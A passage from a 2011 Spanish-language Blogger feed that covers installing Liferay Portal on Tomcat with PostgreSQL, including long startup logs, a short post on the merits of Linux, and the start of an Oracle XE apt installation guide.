[UpgradeProcess:108] Upgrading com.liferay.sevencogs.hook.upgrade.v1_0_0.UpgradeCompany&lt;br /&gt;16:35:21,497 INFO  [HookHotDeployListener:649] Hook for sevencogs-hook is available for use&lt;br /&gt;28-mar-2011 16:35:21 org.apache.coyote.http11.Http11Protocol start&lt;br /&gt;INFO: Arrancando Coyote HTTP/1.1 en puerto http-8087&lt;br /&gt;28-mar-2011 16:35:21 org.apache.jk.common.ChannelSocket init&lt;br /&gt;INFO: JK: ajp13 listening on /0.0.0.0:8009&lt;br /&gt;28-mar-2011 16:35:21 org.apache.jk.server.JkMain start&lt;br /&gt;INFO: Jk running ID=0 time=0/76  config=null&lt;br /&gt;28-mar-2011 16:35:21 org.apache.catalina.startup.Catalina start&lt;br /&gt;INFO: Server startup in 99175 ms&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 2:&lt;/span&gt;&lt;br /&gt;Si tienes otro servidor web corriendo debes modificar el hhtpport de tomcat en el archivo tomcat_home/conf/server.xml&lt;br /&gt;localhost:8087&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/-k_pXiFNhof0/TZC6sjiUhuI/AAAAAAAAAOU/iKkS8-aWPhc/s1600/Pantallazo-4.png"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 200px;" src="http://1.bp.blogspot.com/-k_pXiFNhof0/TZC6sjiUhuI/AAAAAAAAAOU/iKkS8-aWPhc/s320/Pantallazo-4.png" alt="" id="BLOGGER_PHOTO_ID_5589172412182988514" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 3:&lt;/span&gt; en la instancia anterior la indtalacion configura la base de datos hipersonic que trae por defecto liferay, para poder configurar otra base de datos debemos crear un archivo el directorio ROOT/WEB-INF/classes con el nombre portal-ext.properties, aqui esta el contenido de este archivo para postgres:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;    #&lt;br /&gt;   # PostgreSQL&lt;br /&gt;   #&lt;br /&gt;   #jdbc.default.driverClassName=org.postgresql.Driver&lt;br /&gt;   #jdbc.default.url=jdbc:postgresql://localhost:5432/lportal&lt;br /&gt;   #jdbc.default.username=&lt;br /&gt;   #jdbc.default.password=&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin$ ./startup.sh&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="font-weight: bold;"&gt;paso 4:&lt;/span&gt; Al arrancar tomcat de liferay se muestra este log, en el cual nos dice que va a utilizar&lt;br /&gt;y crear la nueva estructura en la base de datos postgres configurada&lt;br /&gt;&lt;/pre&gt; Using CATALINA_BASE:   /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29&lt;br /&gt;Using CATALINA_HOME:   /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29&lt;br /&gt;Using CATALINA_TMPDIR: /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/temp&lt;br /&gt;Using JRE_HOME:        /home/slack/programas/java/jdk1.6.0_20&lt;br /&gt;Using CLASSPATH:       /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin/bootstrap.jar&lt;br /&gt;slack@zion:~/programas/liferay-portal-6.0.6/tomcat-6.0.29/bin$ tail -f ../logs/catalina.out&lt;br /&gt;29-mar-2011 21:55:45 org.apache.coyote.http11.Http11Protocol init&lt;br /&gt;INFO: Inicializando Coyote HTTP/1.1 en puerto http-8087&lt;br /&gt;29-mar-2011 21:55:45 org.apache.catalina.startup.Catalina load&lt;br /&gt;INFO: Initialization processed in 577 ms&lt;br /&gt;29-mar-2011 21:55:45 org.apache.catalina.core.StandardService start&lt;br /&gt;INFO: Arrancando servicio Catalina&lt;br /&gt;29-mar-2011 21:55:45 org.apache.catalina.core.StandardEngine start&lt;br /&gt;INFO: Starting Servlet Engine: Apache Tomcat/6.0.29&lt;br /&gt;29-mar-2011 21:55:45 org.apache.catalina.startup.HostConfig deployDescriptor&lt;br /&gt;INFO: Desplieque del descriptor de configuración ROOT.xml&lt;br /&gt;Loading jar:file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/system.properties&lt;br /&gt;Loading jar:file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/portal-impl.jar!/portal.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/classes/portal-ext.properties&lt;br /&gt;21:55:54,858 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:55:54,968 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;21:55:58,549 INFO  [PortalImpl:278] Global lib directory /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/lib/ext/&lt;br /&gt;21:55:58,551 INFO  [PortalImpl:298] Portal lib directory /home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/ROOT/WEB-INF/lib/&lt;br /&gt;Starting Liferay Portal Community Edition 6.0.6 CE (Bunyan / Build 6006 / February 17, 2011)&lt;br /&gt;21:56:13,648 ERROR [JDBCExceptionReporter:101] ERROR: relation "lock_" does not exist&lt;br /&gt;  Position: 403&lt;br /&gt;21:56:14,227 WARN  [ReleaseLocalServiceImpl:143] ERROR: relation "release_" does not exist&lt;br /&gt;  Position: 25&lt;br /&gt;21:56:14,230 INFO  [ReleaseLocalServiceImpl:84] Create tables and populate with default data&lt;br /&gt;21:57:02,153 INFO  [BaseDB:400] Database supports case sensitive queries&lt;br /&gt;21:57:03,672 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyProcessSuite&lt;br /&gt;21:57:03,673 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyProperties&lt;br /&gt;21:57:03,674 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyMySQL&lt;br /&gt;21:57:03,674 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyCounter&lt;br /&gt;21:57:03,794 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyUUID&lt;br /&gt;21:57:03,808 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyRole&lt;br /&gt;21:57:03,815 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyBlogs&lt;br /&gt;21:57:03,903 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyBookmarks&lt;br /&gt;21:57:03,908 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyCalendar&lt;br /&gt;21:57:03,914 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyDocumentLibrary&lt;br /&gt;21:57:03,928 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyGroup&lt;br /&gt;21:57:03,957 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyImageGallery&lt;br /&gt;21:57:03,961 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyJournal&lt;br /&gt;21:57:03,982 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyLayout&lt;br /&gt;21:57:03,986 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyMessageBoards&lt;br /&gt;21:57:04,016 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyOrganization&lt;br /&gt;21:57:04,017 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifySocial&lt;br /&gt;21:57:04,018 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyUser&lt;br /&gt;21:57:04,031 INFO  [VerifyProcess:76] Verifying com.liferay.portal.verify.VerifyWiki&lt;br /&gt;21:57:06,419 INFO  [PluginPackageUtil:1109] Reloading repositories&lt;br /&gt;21:57:08,092 INFO  [HotDeployUtil:69] Initializing hot deploy manager 4955751&lt;br /&gt;21:57:08,236 INFO  [AutoDeployDir:105] Auto deploy scanner started for /home/slack/programas/liferay-portal-6.0.6/deploy&lt;br /&gt;29-mar-2011 21:57:16 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio default-site-templates-hook de la aplicación web&lt;br /&gt;21:57:16,761 INFO  [HookHotDeployListener:394] Registering hook for default-site-templates-hook&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/default-site-templates-hook/WEB-INF/classes/portal.properties&lt;br /&gt;21:57:22,337 INFO  [HookHotDeployListener:649] Hook for default-site-templates-hook is available for use&lt;br /&gt;29-mar-2011 21:57:22 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-mobile-theme de la aplicación web&lt;br /&gt;21:57:22,727 INFO  [ThemeHotDeployListener:78] Registering themes for sevencogs-mobile-theme&lt;br /&gt;21:57:22,750 INFO  [ThemeHotDeployListener:89] 1 theme for sevencogs-mobile-theme is available for use&lt;br /&gt;29-mar-2011 21:57:22 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-theme de la aplicación web&lt;br /&gt;21:57:23,170 INFO  [ThemeHotDeployListener:78] Registering themes for sevencogs-theme&lt;br /&gt;21:57:23,494 INFO  [ThemeHotDeployListener:89] 1 theme for sevencogs-theme is available for use&lt;br /&gt;29-mar-2011 21:57:23 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio web-form-portlet de la aplicación web&lt;br /&gt;21:57:24,138 INFO  [PortletHotDeployListener:220] Registering portlets for web-form-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/web-form-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;21:57:24,466 INFO  [PortletHotDeployListener:369] 1 portlet for web-form-portlet is available for use&lt;br /&gt;29-mar-2011 21:57:24 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio opensocial-portlet de la aplicación web&lt;br /&gt;21:57:25,105 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:25,258 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;21:57:25,382 INFO  [ServiceComponentLocalServiceImpl:187] Running OpenSocial SQL scripts&lt;br /&gt;21:57:29,640 INFO  [PortletHotDeployListener:220] Registering portlets for opensocial-portlet&lt;br /&gt;21:57:29,642 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;21:57:29,665 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;21:57:29,678 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;21:57:29,776 WARN  [SAXReaderImpl:429] XSD validation is diasabled because org.apache.xerces.parsers.XIncludeAwareParserConfiguration cannot be cast to org.apache.xerces.xni.parser.XMLParserConfiguration&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;21:57:30,044 INFO  [PortletHotDeployListener:374] 2 portlets for opensocial-portlet are available for use&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:30,657 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:57:30,658 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/opensocial-portlet/WEB-INF/classes/service.properties&lt;br /&gt;29-mar-2011 21:57:44 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio mail-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:45,131 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:57:45,132 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:45,795 INFO  [ServiceComponentLocalServiceImpl:187] Running Mail SQL scripts&lt;br /&gt;21:57:47,894 INFO  [HookHotDeployListener:394] Registering hook for mail-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/portal.properties&lt;br /&gt;21:57:47,950 INFO  [HookHotDeployListener:649] Hook for mail-portlet is available for use&lt;br /&gt;21:57:47,951 INFO  [PortletHotDeployListener:220] Registering portlets for mail-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/mail-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;21:57:48,202 INFO  [PortletHotDeployListener:374] 2 portlets for mail-portlet are available for use&lt;br /&gt;29-mar-2011 21:57:48 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio chat-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:48,752 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:57:48,753 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:57:49,155 INFO  [ServiceComponentLocalServiceImpl:187] Running Chat SQL scripts&lt;br /&gt;21:57:50,230 INFO  [PortletHotDeployListener:220] Registering portlets for chat-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/chat-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;21:57:50,392 INFO  [PortletHotDeployListener:369] 1 portlet for chat-portlet is available for use&lt;br /&gt;29-mar-2011 21:57:50 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio tunnel-web de la aplicación web&lt;br /&gt;29-mar-2011 21:57:52 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio sevencogs-hook de la aplicación web&lt;br /&gt;21:57:52,340 INFO  [HotDeployEvent:95] Plugin sevencogs-hook requires google-maps-portlet, kaleo-web, mail-portlet, sevencogs-mobile-theme, sevencogs-theme, social-networking-portlet, web-form-portlet&lt;br /&gt;21:57:52,341 INFO  [HotDeployUtil:137] Queueing sevencogs-hook for deploy because it is missing google-maps-portlet, kaleo-web, social-networking-portlet&lt;br /&gt;29-mar-2011 21:57:52 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio kaleo-web de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;21:57:53,054 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:57:53,056 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/service.properties&lt;br /&gt;21:57:54,992 INFO  [ServiceComponentLocalServiceImpl:187] Running Kaleo SQL scripts&lt;br /&gt;21:57:59,428 INFO  [HookHotDeployListener:394] Registering hook for kaleo-web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/kaleo-web/WEB-INF/classes/portal.properties&lt;br /&gt;21:57:59,506 INFO  [HookHotDeployListener:649] Hook for kaleo-web is available for use&lt;br /&gt;21:57:59,508 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing google-maps-portlet, social-networking-portlet&lt;br /&gt;29-mar-2011 21:57:59 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio google-maps-portlet de la aplicación web&lt;br /&gt;21:58:00,145 INFO  [PortletHotDeployListener:220] Registering portlets for google-maps-portlet&lt;br /&gt;21:58:00,283 INFO  [PortletHotDeployListener:369] 1 portlet for google-maps-portlet is available for use&lt;br /&gt;21:58:00,284 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing social-networking-portlet&lt;br /&gt;29-mar-2011 21:58:00 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio wsrp-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:58:00,732 INFO  [ServiceComponentLocalServiceImpl:187] Running WSRP SQL scripts&lt;br /&gt;21:58:01,741 INFO  [PortletHotDeployListener:220] Registering portlets for wsrp-portlet&lt;br /&gt;21:58:01,952 INFO  [PortletHotDeployListener:374] 2 portlets for wsrp-portlet are available for use&lt;br /&gt;21:58:01,954 INFO  [HotDeployUtil:153] sevencogs-hook is still in queue because it is missing social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:58:02,131 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:58:02,133 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/wsrp-portlet/WEB-INF/classes/service.properties&lt;br /&gt;29-mar-2011 21:58:03 org.apache.catalina.startup.HostConfig deployDirectory&lt;br /&gt;INFO: Despliegue del directorio social-networking-portlet de la aplicación web&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:58:03,746 INFO  [DialectDetector:69] Determining dialect for PostgreSQL 8&lt;br /&gt;21:58:03,747 INFO  [DialectDetector:49] Using dialect org.hibernate.dialect.PostgreSQLDialect&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/service.properties&lt;br /&gt;21:58:04,065 INFO  [ServiceComponentLocalServiceImpl:187] Running SN SQL scripts&lt;br /&gt;21:58:05,258 INFO  [HookHotDeployListener:394] Registering hook for social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/portal.properties&lt;br /&gt;21:58:05,360 INFO  [HookHotDeployListener:649] Hook for social-networking-portlet is available for use&lt;br /&gt;21:58:05,363 INFO  [PortletHotDeployListener:220] Registering portlets for social-networking-portlet&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/social-networking-portlet/WEB-INF/classes/portlet.properties&lt;br /&gt;21:58:05,993 INFO  [PortletHotDeployListener:374] 8 portlets for social-networking-portlet are available for use&lt;br /&gt;21:58:05,994 INFO  [HotDeployUtil:101] Deploying sevencogs-hook from queue&lt;br /&gt;21:58:06,166 INFO  [HookHotDeployListener:394] Registering hook for sevencogs-hook&lt;br /&gt;Loading file:/home/slack/programas/liferay-portal-6.0.6/tomcat-6.0.29/webapps/sevencogs-hook/WEB-INF/classes/portal.properties&lt;br /&gt;21:58:06,230 INFO  [UpgradeProcess:108] Upgrading com.liferay.sevencogs.hook.upgrade.UpgradeProcess_1_0_0&lt;br /&gt;21:58:06,243 INFO  [UpgradeProcess:108] Upgrading com.liferay.sevencogs.hook.upgrade.v1_0_0.UpgradeCompany&lt;br /&gt;21:58:48,031 INFO  [HookHotDeployListener:649] Hook for sevencogs-hook is available for use&lt;br /&gt;29-mar-2011 21:58:48 org.apache.coyote.http11.Http11Protocol start&lt;br /&gt;INFO: Arrancando Coyote HTTP/1.1 en puerto http-8087&lt;br /&gt;29-mar-2011 21:58:48 org.apache.jk.common.ChannelSocket init&lt;br /&gt;INFO: JK: ajp13 listening on /0.0.0.0:8009&lt;br /&gt;29-mar-2011 21:58:48 org.apache.jk.server.JkMain start&lt;br /&gt;INFO: Jk running ID=0 time=0/40  config=null&lt;br /&gt;29-mar-2011 21:58:48 org.apache.catalina.startup.Catalina start&lt;br /&gt;INFO: Server startup in 182598 ms&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;paso 5:&lt;/span&gt; verificamos que en nuestra base de datos este la nueva estructura de datos y que la tabla user_ contenga datos. e ingresamos al portal a traves del browser y nos logueamos como bruno pass bruno&lt;br /&gt;&lt;br /&gt;.... continua&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-1987687147366446248?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/1987687147366446248/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=1987687147366446248' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1987687147366446248'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1987687147366446248'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/03/liferay-en-linux.html' title='Liferay en Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/-k_pXiFNhof0/TZC6sjiUhuI/AAAAAAAAAOU/iKkS8-aWPhc/s72-c/Pantallazo-4.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-4076506210657828386</id><published>2011-03-23T17:06:00.003-03:00</published><updated>2011-03-23T17:15:12.957-03:00</updated><title type='text'>Por que Linux</title><content type='html'>Linux se ha convertido en un sistema operativo de escritorio de gran alcance que puede ejecutarse en hardware ya existente. En muchos casos, requiere menos memoria y potencia de procesamiento que otras alternativas para ofrecer un rendimiento similar en el cliente.&lt;br /&gt;Debido a su diseño y al carácter de open source, Linux puede ser fácilmente personalizado.&lt;br /&gt;Linux está disponible bajo la GNU General Public License2 (GPL), acuerdo y se puede obtener de forma gratuita. Sin embargo, la mayoría de las empresas adquieren una distribución de Linux como Red-Hat para aprovechar las características de grupos y soporte para algunos casos.&lt;br /&gt;La potencia y flexibilidad de Linux, lo está convirtiendo en el sistema a utilizar para muchas organizaciones. Su funcionalidad, la estabilidad, escalabilidad, y el apoyo han sido factores clave que han ampliado el uso de Linux desde las áreas académicas hasta las empresas.&lt;br /&gt;Con el apoyo de compañías como IBM y muchas otras que ofrecen los clientes clave, tales como Lotus Notes ®, el navegador web Mozilla, suites de oficina abierta como open office, y de escritorio Java, Linux está ganando impulso como plataforma operativa de escritorio.&lt;br /&gt;Linux tiene soporte para la interfaz del sistema operativo portátil (POSIX) estándar que define como un UNIX ® como sistema operativo, especificando en detalle las llamadas y las interfaces. La compatibilidad POSIX ha hecho posible que los desarrolladores de muchas aplicaciones populares de UNIX portarlas a Linux y crear muchas utilidades más.&lt;br /&gt;Linux también proporciona una implementación completa de la red TCP / IP.&lt;br /&gt;Una gama completa de clientes y servicios están soportados, incluyendo una interfaz de programación para que los programas que utilizan TCP / IP puedan fácilmente trabajar co Linux.&lt;br /&gt;&lt;br /&gt;&lt;a href="http://2.bp.blogspot.com/-vOozQPI0kao/TYpUcwQaFUI/AAAAAAAAAOM/nC00ixOW54Q/s1600/linux_standar_base.jpg"&gt;&lt;img style="display: block; margin: 0px auto 10px; text-align: center; cursor: pointer; width: 320px; height: 180px;" src="http://2.bp.blogspot.com/-vOozQPI0kao/TYpUcwQaFUI/AAAAAAAAAOM/nC00ixOW54Q/s320/linux_standar_base.jpg" alt="" id="BLOGGER_PHOTO_ID_5587371140673312066" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Copias de las licencias GNU GPL se puede encontrar en http://www.gnu.org/copyleft/gpl.html&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;El proyecto GNU con el apoyo de la Free Software Foundation (FSF):&lt;br /&gt;http://www.gnu.org/fsf/fsf.html&lt;br /&gt;&lt;br /&gt;Linux es compatible con la norma ISO-9660 sistema de archivos para CD-ROM, la impresión de software, dispositivos multimedia, y los módems. En resumen, ofrece una plataforma 100% flexible, robusta, estable y rapida para apoyar las necesidades de una amplia gama de tipos de aplicaciones cliente, universidades, investigacion, empresas, etc.&lt;style type="text/css"&gt;p { margin-bottom: 0.21cm; }&lt;/style&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-4076506210657828386?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/4076506210657828386/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=4076506210657828386' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4076506210657828386'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/4076506210657828386'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2011/03/por-que-linux.html' title='Por que Linux'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/-vOozQPI0kao/TYpUcwQaFUI/AAAAAAAAAOM/nC00ixOW54Q/s72-c/linux_standar_base.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-3987325701251187959</id><published>2011-03-18T20:06:00.000-03:00</published><updated>2011-03-18T20:07:35.440-03:00</updated><title type='text'>Instalar Oracle XE</title><content type='html'>Desde los repositorios en 5 pasos con apt&lt;br /&gt;&lt;br /&gt;Primer paso:&lt;br /&gt;sudo vi /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;Segundo paso:&lt;br /&gt;deb http://oss.oracle.com/debian unstable main non-free&lt;br /&gt;&lt;br /&gt;Tercer paso:&lt;br /&gt;slack@zion:~$ wget http://oss.oracle.com/el4/RPM-GPG-KEY-oracle -O- | sudo apt-key add -&lt;br /&gt;--2011-03-18 17:36:38--  http://oss.oracle.com/el4/RPM-GPG-KEY-oracle&lt;br /&gt;Resolviendo oss.oracle.com... 141.146.12.120&lt;br /&gt;Conectando a oss.oracle.com|141.146.12.120|:80... conectado.&lt;br /&gt;Petición HTTP enviada, esperando respuesta... 200 OK&lt;br /&gt;Longitud: 1744 (1,7K) [text/plain]&lt;br /&gt;Guardando en: «STDOUT»&lt;br /&gt;&lt;br /&gt;100%[=============================================================================================================================================&gt;] 1.744       --.-K/s   en 0,001s &lt;br /&gt;&lt;br /&gt;2011-03-18 17:36:51 (1,49 MB/s) - escrito en la salida estándar [1744/1744]&lt;br /&gt;&lt;br /&gt;OK&lt;br /&gt;&lt;br /&gt;Cuarto paso:&lt;br /&gt;sudo apt-get update&lt;br /&gt;&lt;br /&gt;Quinto paso:&lt;br 